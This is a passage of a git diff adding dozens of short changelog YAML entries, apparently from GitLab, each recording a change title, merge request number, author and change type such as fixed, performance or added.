@@ -0,0 +1,5 @@
+---
+title: Fix closed icon for merge requests to match close issue icon
+merge_request: 57981
+author: jesus beltran
+type: fixed
diff --git a/changelogs/unreleased/chatops-multiline-messages.yml b/changelogs/unreleased/chatops-multiline-messages.yml
new file mode 100644
index 00000000000..94a93d4958b
--- /dev/null
+++ b/changelogs/unreleased/chatops-multiline-messages.yml
@@ -0,0 +1,5 @@
+---
+title: Support newlines for the chatops "run" command
+merge_request: 56668
+author:
+type: changed
diff --git a/changelogs/unreleased/chore-rubocop-user-admin.yml b/changelogs/unreleased/chore-rubocop-user-admin.yml
new file mode 100644
index 00000000000..be72a2180df
--- /dev/null
+++ b/changelogs/unreleased/chore-rubocop-user-admin.yml
@@ -0,0 +1,5 @@
+---
+title: Create Cop to enforce using policies framework for administrators
+merge_request: 55693
+author: Diego Louzán
+type: other
diff --git a/changelogs/unreleased/chore-unknown-sign-in-info-text.yml b/changelogs/unreleased/chore-unknown-sign-in-info-text.yml
new file mode 100644
index 00000000000..db1e2df8afb
--- /dev/null
+++ b/changelogs/unreleased/chore-unknown-sign-in-info-text.yml
@@ -0,0 +1,5 @@
+---
+title: Show password hint only if password_authentication_enabled_for_web? on new location logins
+merge_request: 56783
+author: Roger Meier
+type: changed
diff --git a/changelogs/unreleased/ci-add-extra-properties-to-external-validation-payload.yml b/changelogs/unreleased/ci-add-extra-properties-to-external-validation-payload.yml
new file mode 100644
index 00000000000..6461f6c7a3a
--- /dev/null
+++ b/changelogs/unreleased/ci-add-extra-properties-to-external-validation-payload.yml
@@ -0,0 +1,5 @@
+---
+title: Add extra fields to the external pipeline validation payload
+merge_request: 56969
+author:
+type: changed
diff --git a/changelogs/unreleased/ci-allow-external-validation-request-timeout-override.yml b/changelogs/unreleased/ci-allow-external-validation-request-timeout-override.yml
new file mode 100644
index 00000000000..b8a662777be
--- /dev/null
+++ b/changelogs/unreleased/ci-allow-external-validation-request-timeout-override.yml
@@ -0,0 +1,5 @@
+---
+title: Make VALIDATION_REQUEST_TIMEOUT configurable
+merge_request: 57521
+author:
+type: changed
diff --git a/changelogs/unreleased/ci-disable-scheduled-pipelines-323341.yml b/changelogs/unreleased/ci-disable-scheduled-pipelines-323341.yml
new file mode 100644
index 00000000000..59189f01e95
--- /dev/null
+++ b/changelogs/unreleased/ci-disable-scheduled-pipelines-323341.yml
@@ -0,0 +1,5 @@
+---
+title: Disable pipeline schedules when a user is blocked
+merge_request: 56513
+author:
+type: changed
diff --git a/changelogs/unreleased/ci-fix-pipeline-loading-by-sha-for-graphql.yml b/changelogs/unreleased/ci-fix-pipeline-loading-by-sha-for-graphql.yml
new file mode 100644
index 00000000000..73297b5da34
--- /dev/null
+++ b/changelogs/unreleased/ci-fix-pipeline-loading-by-sha-for-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Fix loading pipelines by commit SHA for GraphQL
+merge_request: 59110
+author:
+type: fixed
diff --git a/changelogs/unreleased/ci-improve-users-cancelable-pipelines-query.yml b/changelogs/unreleased/ci-improve-users-cancelable-pipelines-query.yml
new file mode 100644
index 00000000000..916d4b307c6
--- /dev/null
+++ b/changelogs/unreleased/ci-improve-users-cancelable-pipelines-query.yml
@@ -0,0 +1,5 @@
+---
+title: Add database index for cancelable ci_pipelines on user and id
+merge_request: 56314
+author:
+type: performance
diff --git a/changelogs/unreleased/ci-remove-ff-for-pipeline-async-processing-326217.yml b/changelogs/unreleased/ci-remove-ff-for-pipeline-async-processing-326217.yml
new file mode 100644
index 00000000000..45ea06fa56e
--- /dev/null
+++ b/changelogs/unreleased/ci-remove-ff-for-pipeline-async-processing-326217.yml
@@ -0,0 +1,5 @@
+---
+title: Move initial pipeline processing to Sidekiq
+merge_request: 58901
+author:
+type: changed
diff --git a/changelogs/unreleased/ci-templates-docker-main.yml b/changelogs/unreleased/ci-templates-docker-main.yml
new file mode 100644
index 00000000000..1697a417b7a
--- /dev/null
+++ b/changelogs/unreleased/ci-templates-docker-main.yml
@@ -0,0 +1,6 @@
+---
+title: Unify the Docker Image build CI template and use the default branch instead
+ of hardcoded 'master'
+merge_request: 51931
+author: dnsmichi
+type: changed
diff --git a/changelogs/unreleased/close-droplab-dropdowns-on-click.yml b/changelogs/unreleased/close-droplab-dropdowns-on-click.yml
new file mode 100644
index 00000000000..5091ec1a626
--- /dev/null
+++ b/changelogs/unreleased/close-droplab-dropdowns-on-click.yml
@@ -0,0 +1,5 @@
+---
+title: Close DropLab dropdowns on click instead of mousedown
+merge_request: 56847
+author: Simon Stieger @sim0
+type: fixed
diff --git a/changelogs/unreleased/clusterrolebinding-v1.yml b/changelogs/unreleased/clusterrolebinding-v1.yml
new file mode 100644
index 00000000000..89e84d087ef
--- /dev/null
+++ b/changelogs/unreleased/clusterrolebinding-v1.yml
@@ -0,0 +1,5 @@
+---
+title: Updated documented K8s snippet to undeprecated API
+merge_request: 57100
+author: Raimund Hook (@stingrayza)
+type: other
diff --git a/changelogs/unreleased/clusters_integrations_prometheus.yml b/changelogs/unreleased/clusters_integrations_prometheus.yml
new file mode 100644
index 00000000000..43bb451df06
--- /dev/null
+++ b/changelogs/unreleased/clusters_integrations_prometheus.yml
@@ -0,0 +1,6 @@
+---
+title: Adds new clusters_integrations_prometheus table and model for Prometheus Cluster
+ Integration
+merge_request: 59091
+author:
+type: changed
diff --git a/changelogs/unreleased/cngo-add-aria-labels-to-icon-buttons.yml b/changelogs/unreleased/cngo-add-aria-labels-to-icon-buttons.yml
new file mode 100644
index 00000000000..98bc341d16f
--- /dev/null
+++ b/changelogs/unreleased/cngo-add-aria-labels-to-icon-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Add aria labels to icon buttons
+merge_request: 57261
+author:
+type: fixed
diff --git a/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-2.yml b/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-2.yml
new file mode 100644
index 00000000000..4869a2ebabd
--- /dev/null
+++ b/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-2.yml
@@ -0,0 +1,5 @@
+---
+title: Add aria labels to icon-only buttons
+merge_request: 58459
+author:
+type: fixed
diff --git a/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-3.yml b/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-3.yml
new file mode 100644
index 00000000000..8e72b9c9d7c
--- /dev/null
+++ b/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-3.yml
@@ -0,0 +1,5 @@
+---
+title: Add aria labels to icon-only buttons
+merge_request: 59037
+author:
+type: fixed
diff --git a/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons.yml b/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons.yml
new file mode 100644
index 00000000000..98d9b9fbd2d
--- /dev/null
+++ b/changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Add aria labels to icon-only buttons
+merge_request: 57610
+author:
+type: fixed
diff --git a/changelogs/unreleased/cngo-add-gl-toggle-labels.yml b/changelogs/unreleased/cngo-add-gl-toggle-labels.yml
new file mode 100644
index 00000000000..d553890901a
--- /dev/null
+++ b/changelogs/unreleased/cngo-add-gl-toggle-labels.yml
@@ -0,0 +1,5 @@
+---
+title: Add labels to UI toggles
+merge_request: 56848
+author:
+type: fixed
diff --git a/changelogs/unreleased/cngo-fix-member-autocomplete-sort.yml b/changelogs/unreleased/cngo-fix-member-autocomplete-sort.yml
new file mode 100644
index 00000000000..f3830f0f761
--- /dev/null
+++ b/changelogs/unreleased/cngo-fix-member-autocomplete-sort.yml
@@ -0,0 +1,5 @@
+---
+title: Fix member autocomplete sort order
+merge_request: 58652
+author:
+type: fixed
diff --git a/changelogs/unreleased/confirm_support_bot.yml b/changelogs/unreleased/confirm_support_bot.yml
new file mode 100644
index 00000000000..a37b245c8ab
--- /dev/null
+++ b/changelogs/unreleased/confirm_support_bot.yml
@@ -0,0 +1,5 @@
+---
+title: Fix notification when new Service Desk Issue is created
+merge_request: 58803
+author:
+type: fixed
diff --git a/changelogs/unreleased/dblessing_cascading_settings_default_enabled.yml b/changelogs/unreleased/dblessing_cascading_settings_default_enabled.yml
new file mode 100644
index 00000000000..1ec0672a962
--- /dev/null
+++ b/changelogs/unreleased/dblessing_cascading_settings_default_enabled.yml
@@ -0,0 +1,5 @@
+---
+title: Default enable cascading settings feature flag
+merge_request: 59026
+author:
+type: changed
diff --git a/changelogs/unreleased/dblessing_cascading_settings_final.yml b/changelogs/unreleased/dblessing_cascading_settings_final.yml
new file mode 100644
index 00000000000..49f5cd5c9fc
--- /dev/null
+++ b/changelogs/unreleased/dblessing_cascading_settings_final.yml
@@ -0,0 +1,5 @@
+---
+title: Cascade delayed project removal setting lookup to parent namespace
+merge_request: 55678
+author:
+type: added
diff --git a/changelogs/unreleased/dblessing_ignore_namespace_delayed_project_removal.yml b/changelogs/unreleased/dblessing_ignore_namespace_delayed_project_removal.yml
new file mode 100644
index 00000000000..49ea816bdb5
--- /dev/null
+++ b/changelogs/unreleased/dblessing_ignore_namespace_delayed_project_removal.yml
@@ -0,0 +1,5 @@
+---
+title: Move usage of delayed_project_removal to namespace settings
+merge_request: 56397
+author:
+type: changed
diff --git a/changelogs/unreleased/dc-remove-artifact-fields-feature-flag.yml b/changelogs/unreleased/dc-remove-artifact-fields-feature-flag.yml
new file mode 100644
index 00000000000..486b7975968
--- /dev/null
+++ b/changelogs/unreleased/dc-remove-artifact-fields-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove paths from BuildArtifactEntity
+merge_request: 58818
+author:
+type: performance
diff --git a/changelogs/unreleased/dc-use-fast-path-helpers.yml b/changelogs/unreleased/dc-use-fast-path-helpers.yml
new file mode 100644
index 00000000000..983be7bc8c5
--- /dev/null
+++ b/changelogs/unreleased/dc-use-fast-path-helpers.yml
@@ -0,0 +1,5 @@
+---
+title: Use fast path helpers in BuildDetailsEntity
+merge_request: 58824
+author:
+type: performance
diff --git a/changelogs/unreleased/deactivate-prune-webhooklogs-worker.yml b/changelogs/unreleased/deactivate-prune-webhooklogs-worker.yml
new file mode 100644
index 00000000000..e08c9ef1a97
--- /dev/null
+++ b/changelogs/unreleased/deactivate-prune-webhooklogs-worker.yml
@@ -0,0 +1,5 @@
+---
+title: Deactivate prune webhook logs worker
+merge_request: 59120
+author:
+type: changed
diff --git a/changelogs/unreleased/deprecate_alerts_managed_prometheus.yml b/changelogs/unreleased/deprecate_alerts_managed_prometheus.yml
new file mode 100644
index 00000000000..fab4cd8d5ae
--- /dev/null
+++ b/changelogs/unreleased/deprecate_alerts_managed_prometheus.yml
@@ -0,0 +1,5 @@
+---
+title: Deprecate Alerts for Managed Prometheus
+merge_request: 59433
+author:
+type: deprecated
diff --git a/changelogs/unreleased/deprecated_but_keep_support_for_klar_up_to_3.yml b/changelogs/unreleased/deprecated_but_keep_support_for_klar_up_to_3.yml
new file mode 100644
index 00000000000..0dcdfa9e856
--- /dev/null
+++ b/changelogs/unreleased/deprecated_but_keep_support_for_klar_up_to_3.yml
@@ -0,0 +1,6 @@
+---
+title: Deprecate but keep support for Klar up to version 3. A new analyzer based on
+ Trivy will be used from version 4 onwards
+merge_request: 57281
+author:
+type: changed
diff --git a/changelogs/unreleased/discussions_nplusone.yml b/changelogs/unreleased/discussions_nplusone.yml
new file mode 100644
index 00000000000..751079bbde3
--- /dev/null
+++ b/changelogs/unreleased/discussions_nplusone.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 issue when loading merge request comments
+merge_request: 57374
+author:
+type: performance
diff --git a/changelogs/unreleased/docs-daily-dora-metrics.yml b/changelogs/unreleased/docs-daily-dora-metrics.yml
new file mode 100644
index 00000000000..5d3a90c15ef
--- /dev/null
+++ b/changelogs/unreleased/docs-daily-dora-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Support daily DORA metrics API
+merge_request: 56080
+author:
+type: added
diff --git a/changelogs/unreleased/docs-eb-pages-deployment-migration.yml b/changelogs/unreleased/docs-eb-pages-deployment-migration.yml
new file mode 100644
index 00000000000..88e86063efa
--- /dev/null
+++ b/changelogs/unreleased/docs-eb-pages-deployment-migration.yml
@@ -0,0 +1,5 @@
+---
+title: Add documentation about Pages deployment migration
+merge_request: 59475
+author:
+type: added
diff --git a/changelogs/unreleased/docs-omniauth-providers-icon.yml b/changelogs/unreleased/docs-omniauth-providers-icon.yml
new file mode 100644
index 00000000000..36f1e0d01c5
--- /dev/null
+++ b/changelogs/unreleased/docs-omniauth-providers-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Document how to use custom omniauth button icon
+merge_request: 55388
+author: Diego Louzán
+type: other
diff --git a/changelogs/unreleased/dont-close-label-auto-suggest-select-box-if-only-mouseup-outside-box.yml b/changelogs/unreleased/dont-close-label-auto-suggest-select-box-if-only-mouseup-outside-box.yml
new file mode 100644
index 00000000000..2aa146abe08
--- /dev/null
+++ b/changelogs/unreleased/dont-close-label-auto-suggest-select-box-if-only-mouseup-outside-box.yml
@@ -0,0 +1,5 @@
+---
+title: Don't close issue label select box on click if only mouseup outside
+merge_request: 56721
+author: Simon Stieger @sim0
+type: fixed
diff --git a/changelogs/unreleased/drop-pipelines-async-when-user-blocked.yml b/changelogs/unreleased/drop-pipelines-async-when-user-blocked.yml
new file mode 100644
index 00000000000..d8e675baf6c
--- /dev/null
+++ b/changelogs/unreleased/drop-pipelines-async-when-user-blocked.yml
@@ -0,0 +1,5 @@
+---
+title: Drop user pipelines async when user is blocked
+merge_request: 59129
+author:
+type: fixed
diff --git a/changelogs/unreleased/dz-fix-ruby-alpine-template-for-rails.yml b/changelogs/unreleased/dz-fix-ruby-alpine-template-for-rails.yml
new file mode 100644
index 00000000000..57f08863cfd
--- /dev/null
+++ b/changelogs/unreleased/dz-fix-ruby-alpine-template-for-rails.yml
@@ -0,0 +1,5 @@
+---
+title: Fix rails binding for ruby alpine template
+merge_request: 57112
+author:
+type: fixed
diff --git a/changelogs/unreleased/dz-fix-ruby-alpine-template.yml b/changelogs/unreleased/dz-fix-ruby-alpine-template.yml
new file mode 100644
index 00000000000..b3b4afe6d99
--- /dev/null
+++ b/changelogs/unreleased/dz-fix-ruby-alpine-template.yml
@@ -0,0 +1,5 @@
+---
+title: Fix ruby alpine CI template
+merge_request: 57109
+author:
+type: fixed
diff --git a/changelogs/unreleased/dz-project-setting-default-target-project.yml b/changelogs/unreleased/dz-project-setting-default-target-project.yml
new file mode 100644
index 00000000000..8757a63b719
--- /dev/null
+++ b/changelogs/unreleased/dz-project-setting-default-target-project.yml
@@ -0,0 +1,5 @@
+---
+title: Add setting to change default target project for merge requests from forks
+merge_request: 58093
+author:
+type: added
diff --git a/changelogs/unreleased/dz-redirect-deprecated-pipeline-routes.yml b/changelogs/unreleased/dz-redirect-deprecated-pipeline-routes.yml
new file mode 100644
index 00000000000..3ed396213bd
--- /dev/null
+++ b/changelogs/unreleased/dz-redirect-deprecated-pipeline-routes.yml
@@ -0,0 +1,5 @@
+---
+title: Redirect deprecated pipeline routes
+merge_request: 53990
+author:
+type: removed
diff --git a/changelogs/unreleased/dz-remove-top-margin-print.yml b/changelogs/unreleased/dz-remove-top-margin-print.yml
new file mode 100644
index 00000000000..26ac66996d6
--- /dev/null
+++ b/changelogs/unreleased/dz-remove-top-margin-print.yml
@@ -0,0 +1,5 @@
+---
+title: Remove top margin for print layout
+merge_request: 57824
+author:
+type: changed
diff --git a/changelogs/unreleased/dz-show-archive-notice.yml b/changelogs/unreleased/dz-show-archive-notice.yml
new file mode 100644
index 00000000000..03e4d3a8de2
--- /dev/null
+++ b/changelogs/unreleased/dz-show-archive-notice.yml
@@ -0,0 +1,5 @@
+---
+title: Show archive notice on empty project
+merge_request: 59286
+author:
+type: changed
diff --git a/changelogs/unreleased/eb-rename-ci-test-tables.yml b/changelogs/unreleased/eb-rename-ci-test-tables.yml
new file mode 100644
index 00000000000..a302379dd75
--- /dev/null
+++ b/changelogs/unreleased/eb-rename-ci-test-tables.yml
@@ -0,0 +1,5 @@
+---
+title: Create new unit test tables
+merge_request: 56137
+author:
+type: other
diff --git a/changelogs/unreleased/eb-sort-code-quality-mr-widget.yml b/changelogs/unreleased/eb-sort-code-quality-mr-widget.yml
new file mode 100644
index 00000000000..709dd3e1fa3
--- /dev/null
+++ b/changelogs/unreleased/eb-sort-code-quality-mr-widget.yml
@@ -0,0 +1,5 @@
+---
+title: Sort code quality degradations in MR Widget comparison reports
+merge_request: 57258
+author:
+type: added
diff --git a/changelogs/unreleased/eb-update-usage-ping-metrics-definition.yml b/changelogs/unreleased/eb-update-usage-ping-metrics-definition.yml
new file mode 100644
index 00000000000..09f0b70735e
--- /dev/null
+++ b/changelogs/unreleased/eb-update-usage-ping-metrics-definition.yml
@@ -0,0 +1,5 @@
+---
+title: Update metric definition under verify testing group
+merge_request: 59028
+author:
+type: other
diff --git a/changelogs/unreleased/enable-maven-query-optimization-ff-by-default.yml b/changelogs/unreleased/enable-maven-query-optimization-ff-by-default.yml
new file mode 100644
index 00000000000..e9c60a3b79b
--- /dev/null
+++ b/changelogs/unreleased/enable-maven-query-optimization-ff-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize group level Maven package finder query
+merge_request: 57692
+author:
+type: performance
diff --git a/changelogs/unreleased/ensure_project_iid_before_drop_pipeline.yml b/changelogs/unreleased/ensure_project_iid_before_drop_pipeline.yml
new file mode 100644
index 00000000000..ccca0f16adc
--- /dev/null
+++ b/changelogs/unreleased/ensure_project_iid_before_drop_pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure a project iid is set before transitioning on pipeline error
+merge_request: 57783
+author:
+type: performance
diff --git a/changelogs/unreleased/epic-detail-view-deprecated-button.yml b/changelogs/unreleased/epic-detail-view-deprecated-button.yml
new file mode 100644
index 00000000000..0141dc1816b
--- /dev/null
+++ b/changelogs/unreleased/epic-detail-view-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Replace deprecated buttons on epic detail view
+merge_request: 58152
+author:
+type: changed
diff --git a/changelogs/unreleased/eread-refactor-jaeger-tracing-configuration-ui.yml b/changelogs/unreleased/eread-refactor-jaeger-tracing-configuration-ui.yml
new file mode 100644
index 00000000000..cf891e28859
--- /dev/null
+++ b/changelogs/unreleased/eread-refactor-jaeger-tracing-configuration-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor docs and UI for Jaeger tracing
+merge_request: 56819
+author:
+type: other
diff --git a/changelogs/unreleased/exclude-projects-dropdown-from-revert.yml b/changelogs/unreleased/exclude-projects-dropdown-from-revert.yml
new file mode 100644
index 00000000000..76f1cb785e7
--- /dev/null
+++ b/changelogs/unreleased/exclude-projects-dropdown-from-revert.yml
@@ -0,0 +1,5 @@
+---
+title: Exclude projects dropdown from revert modal
+merge_request: 59504
+author:
+type: fixed
diff --git a/changelogs/unreleased/exif-var.yml b/changelogs/unreleased/exif-var.yml
new file mode 100644
index 00000000000..7b2b35d7fc6
--- /dev/null
+++ b/changelogs/unreleased/exif-var.yml
@@ -0,0 +1,5 @@
+---
+title: Allow to disable exiftool depending on env variable.
+merge_request:
+author:
+type: security
diff --git a/changelogs/unreleased/expand-button-fix.yml b/changelogs/unreleased/expand-button-fix.yml
new file mode 100644
index 00000000000..eaeee7f6e58
--- /dev/null
+++ b/changelogs/unreleased/expand-button-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Migrates the expand button in MR reports to GitLab UI
+merge_request: 57021
+author:
+type: other
diff --git a/changelogs/unreleased/expiring-ssh-key-notification.yml b/changelogs/unreleased/expiring-ssh-key-notification.yml
new file mode 100644
index 00000000000..d1e14249df3
--- /dev/null
+++ b/changelogs/unreleased/expiring-ssh-key-notification.yml
@@ -0,0 +1,5 @@
+---
+title: User notification when SSH key is set to expire soon
+merge_request: 58171
+author:
+type: added
diff --git a/changelogs/unreleased/f_caplette-move-pipeline-editor-button-repo.yml b/changelogs/unreleased/f_caplette-move-pipeline-editor-button-repo.yml
new file mode 100644
index 00000000000..7dae553a119
--- /dev/null
+++ b/changelogs/unreleased/f_caplette-move-pipeline-editor-button-repo.yml
@@ -0,0 +1,5 @@
+---
+title: Move Pipeline Editor repo link outside of feature flag conditional
+merge_request: 57144
+author:
+type: changed
diff --git a/changelogs/unreleased/ff-enable-pipeline-editor-empty-state.yml b/changelogs/unreleased/ff-enable-pipeline-editor-empty-state.yml
new file mode 100644
index 00000000000..026cb36b966
--- /dev/null
+++ b/changelogs/unreleased/ff-enable-pipeline-editor-empty-state.yml
@@ -0,0 +1,5 @@
+---
+title: Add empty state CTA in pipeline editor section for new root CI files
+merge_request: 56665
+author:
+type: changed
diff --git a/changelogs/unreleased/fix-build-group-name.yml b/changelogs/unreleased/fix-build-group-name.yml
new file mode 100644
index 00000000000..9c3afbc6520
--- /dev/null
+++ b/changelogs/unreleased/fix-build-group-name.yml
@@ -0,0 +1,5 @@
+---
+title: Simplify Build Group name correction
+merge_request: 57739
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-commit-status-with-child-pipeline.yml b/changelogs/unreleased/fix-commit-status-with-child-pipeline.yml
new file mode 100644
index 00000000000..eacbcd8bc0f
--- /dev/null
+++ b/changelogs/unreleased/fix-commit-status-with-child-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Filter out pipelines that were excluded in the relation scope in Ci::Pipeline#latest_pipeline_per_commit
+merge_request: 55657
+author: Cong Chen @gentcys
+type: fixed
diff --git a/changelogs/unreleased/fix-compliance-pipeline-validation.yml b/changelogs/unreleased/fix-compliance-pipeline-validation.yml
new file mode 100644
index 00000000000..1e63b5538be
--- /dev/null
+++ b/changelogs/unreleased/fix-compliance-pipeline-validation.yml
@@ -0,0 +1,5 @@
+---
+title: Make ref parameter optional in get raw file api
+merge_request: 58787
+author:
+type: changed
diff --git a/changelogs/unreleased/fix-explore-projects-by-visibility.yml b/changelogs/unreleased/fix-explore-projects-by-visibility.yml
new file mode 100644
index 00000000000..124fe473964
--- /dev/null
+++ b/changelogs/unreleased/fix-explore-projects-by-visibility.yml
@@ -0,0 +1,5 @@
+---
+title: Fix visibility filter on explore projects page
+merge_request: 58293
+author: Jonas Wälter @wwwjon
+type: fixed
diff --git a/changelogs/unreleased/fix-forward-deployment-worker-dead-lock.yml b/changelogs/unreleased/fix-forward-deployment-worker-dead-lock.yml
new file mode 100644
index 00000000000..b945212cb5e
--- /dev/null
+++ b/changelogs/unreleased/fix-forward-deployment-worker-dead-lock.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Forward Deployment Worker causes deadlock
+merge_request: 58861
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-gb-avoid-inflating-memory-when-aborting-pipelines.yml b/changelogs/unreleased/fix-gb-avoid-inflating-memory-when-aborting-pipelines.yml
new file mode 100644
index 00000000000..ab723b380c6
--- /dev/null
+++ b/changelogs/unreleased/fix-gb-avoid-inflating-memory-when-aborting-pipelines.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid inflating Redis memory when aborting pipelines
+merge_request: 59018
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-gl-emoji-abuse-reports.yml b/changelogs/unreleased/fix-gl-emoji-abuse-reports.yml
new file mode 100644
index 00000000000..301f7504f56
--- /dev/null
+++ b/changelogs/unreleased/fix-gl-emoji-abuse-reports.yml
@@ -0,0 +1,5 @@
+---
+title: Fix gl-emoji in abuse report page
+merge_request: 59078
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/fix-group_members_max_access_level.yml b/changelogs/unreleased/fix-group_members_max_access_level.yml
new file mode 100644
index 00000000000..ee7408c3a51
--- /dev/null
+++ b/changelogs/unreleased/fix-group_members_max_access_level.yml
@@ -0,0 +1,5 @@
+---
+title: Fix derivation of effective permissions (access level) of group members
+merge_request: 56677
+author: Jonas Wälter @wwwjon
+type: fixed
diff --git a/changelogs/unreleased/fix-haml-promote-issue-weights.yml b/changelogs/unreleased/fix-haml-promote-issue-weights.yml
new file mode 100644
index 00000000000..1dd6cc02657
--- /dev/null
+++ b/changelogs/unreleased/fix-haml-promote-issue-weights.yml
@@ -0,0 +1,5 @@
+---
+title: Fix HAML in _promote_issue_weights.html.haml
+merge_request: 58546
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/fix-mr-issues-list-padding.yml b/changelogs/unreleased/fix-mr-issues-list-padding.yml
new file mode 100644
index 00000000000..046526b94e1
--- /dev/null
+++ b/changelogs/unreleased/fix-mr-issues-list-padding.yml
@@ -0,0 +1,5 @@
+---
+title: Fix test report merge request widget summary and issues alignment
+merge_request: 56768
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-mr-source-branch-styling.yml b/changelogs/unreleased/fix-mr-source-branch-styling.yml
new file mode 100644
index 00000000000..258a3be1262
--- /dev/null
+++ b/changelogs/unreleased/fix-mr-source-branch-styling.yml
@@ -0,0 +1,5 @@
+---
+title: Fix MR Source Branch styling
+merge_request: 57662
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-n-1-for-merge-requests-scope.yml b/changelogs/unreleased/fix-n-1-for-merge-requests-scope.yml
new file mode 100644
index 00000000000..0b473f72893
--- /dev/null
+++ b/changelogs/unreleased/fix-n-1-for-merge-requests-scope.yml
@@ -0,0 +1,5 @@
+---
+title: Preload additional data to fix N+1 queries for merge request search
+merge_request: 57284
+author:
+type: performance
diff --git a/changelogs/unreleased/fix-n-1-for-project-scope.yml b/changelogs/unreleased/fix-n-1-for-project-scope.yml
new file mode 100644
index 00000000000..b1e173ead24
--- /dev/null
+++ b/changelogs/unreleased/fix-n-1-for-project-scope.yml
@@ -0,0 +1,5 @@
+---
+title: Preload group parent to fix N+1 queries for project search
+merge_request: 57277
+author:
+type: performance
diff --git a/changelogs/unreleased/fix-namespace-existence-check.yml b/changelogs/unreleased/fix-namespace-existence-check.yml
new file mode 100644
index 00000000000..6331b3c3f63
--- /dev/null
+++ b/changelogs/unreleased/fix-namespace-existence-check.yml
@@ -0,0 +1,5 @@
+---
+title: Fix namespace validation (unique path) on group creation
+merge_request: 57563
+author: Jonas Wälter @wwwjon
+type: fixed
diff --git a/changelogs/unreleased/fix-obsolte-production-identifier.yml b/changelogs/unreleased/fix-obsolte-production-identifier.yml
new file mode 100644
index 00000000000..13ec9ff2876
--- /dev/null
+++ b/changelogs/unreleased/fix-obsolte-production-identifier.yml
@@ -0,0 +1,5 @@
+---
+title: Fix inconsistent production environment definition on VSA
+merge_request: 57557
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-option-remove-memberships-from-subresources.yml b/changelogs/unreleased/fix-option-remove-memberships-from-subresources.yml
new file mode 100644
index 00000000000..392c161f093
--- /dev/null
+++ b/changelogs/unreleased/fix-option-remove-memberships-from-subresources.yml
@@ -0,0 +1,6 @@
+---
+title: 'Remove group member: add option to also remove direct user membership from
+ subgroups and projects'
+merge_request: 55980
+author: Jonas Wälter @wwwjon
+type: changed
diff --git a/changelogs/unreleased/fix-previous-deployment.yml b/changelogs/unreleased/fix-previous-deployment.yml
new file mode 100644
index 00000000000..04d992dbd76
--- /dev/null
+++ b/changelogs/unreleased/fix-previous-deployment.yml
@@ -0,0 +1,5 @@
+---
+title: Fix previous deployment fetches wrong deployment
+merge_request: 58567
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-reference-widget-utility-class.yml b/changelogs/unreleased/fix-reference-widget-utility-class.yml
new file mode 100644
index 00000000000..438ad66ec64
--- /dev/null
+++ b/changelogs/unreleased/fix-reference-widget-utility-class.yml
@@ -0,0 +1,5 @@
+---
+title: Fix reference widget icon and text spacing
+merge_request: 56759
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-suggest-gitlab-ci-popover.yml b/changelogs/unreleased/fix-suggest-gitlab-ci-popover.yml
new file mode 100644
index 00000000000..aab1406985d
--- /dev/null
+++ b/changelogs/unreleased/fix-suggest-gitlab-ci-popover.yml
@@ -0,0 +1,5 @@
+---
+title: Ensures that the "Suggest GitLab CI" popover is shown after selecting a template type
+merge_request: 58120
+author:
+type: fixed
diff --git a/changelogs/unreleased/fj-fix-bug-gollum-tag-filter.yml b/changelogs/unreleased/fj-fix-bug-gollum-tag-filter.yml
new file mode 100644
index 00000000000..fc2c57cac61
--- /dev/null
+++ b/changelogs/unreleased/fj-fix-bug-gollum-tag-filter.yml
@@ -0,0 +1,5 @@
+---
+title: Fix bug in Gollum Tags filter
+merge_request: 56638
+author:
+type: fixed
diff --git a/changelogs/unreleased/fj-fix-bug-with-wiki-link-rewriter.yml b/changelogs/unreleased/fj-fix-bug-with-wiki-link-rewriter.yml
new file mode 100644
index 00000000000..3a7b37cc618
--- /dev/null
+++ b/changelogs/unreleased/fj-fix-bug-with-wiki-link-rewriter.yml
@@ -0,0 +1,5 @@
+---
+title: Fix bug in wiki link rewriter filter
+merge_request: 56636
+author:
+type: fixed
diff --git a/changelogs/unreleased/fj-render-kramdown-through-gitlab-markup.yml b/changelogs/unreleased/fj-render-kramdown-through-gitlab-markup.yml
new file mode 100644
index 00000000000..61aec57e335
--- /dev/null
+++ b/changelogs/unreleased/fj-render-kramdown-through-gitlab-markup.yml
@@ -0,0 +1,5 @@
+---
+title: Render Kramdown format using Gitlab markup
+merge_request: 56750
+author:
+type: changed
diff --git a/changelogs/unreleased/fp-remove-ff-ci-lower-frequency-trace-update.yml b/changelogs/unreleased/fp-remove-ff-ci-lower-frequency-trace-update.yml
new file mode 100644
index 00000000000..dff3df1d02f
--- /dev/null
+++ b/changelogs/unreleased/fp-remove-ff-ci-lower-frequency-trace-update.yml
@@ -0,0 +1,5 @@
+---
+title: Remove ci_lower_frequency_trace_update feature flag
+merge_request: 57713
+author:
+type: performance
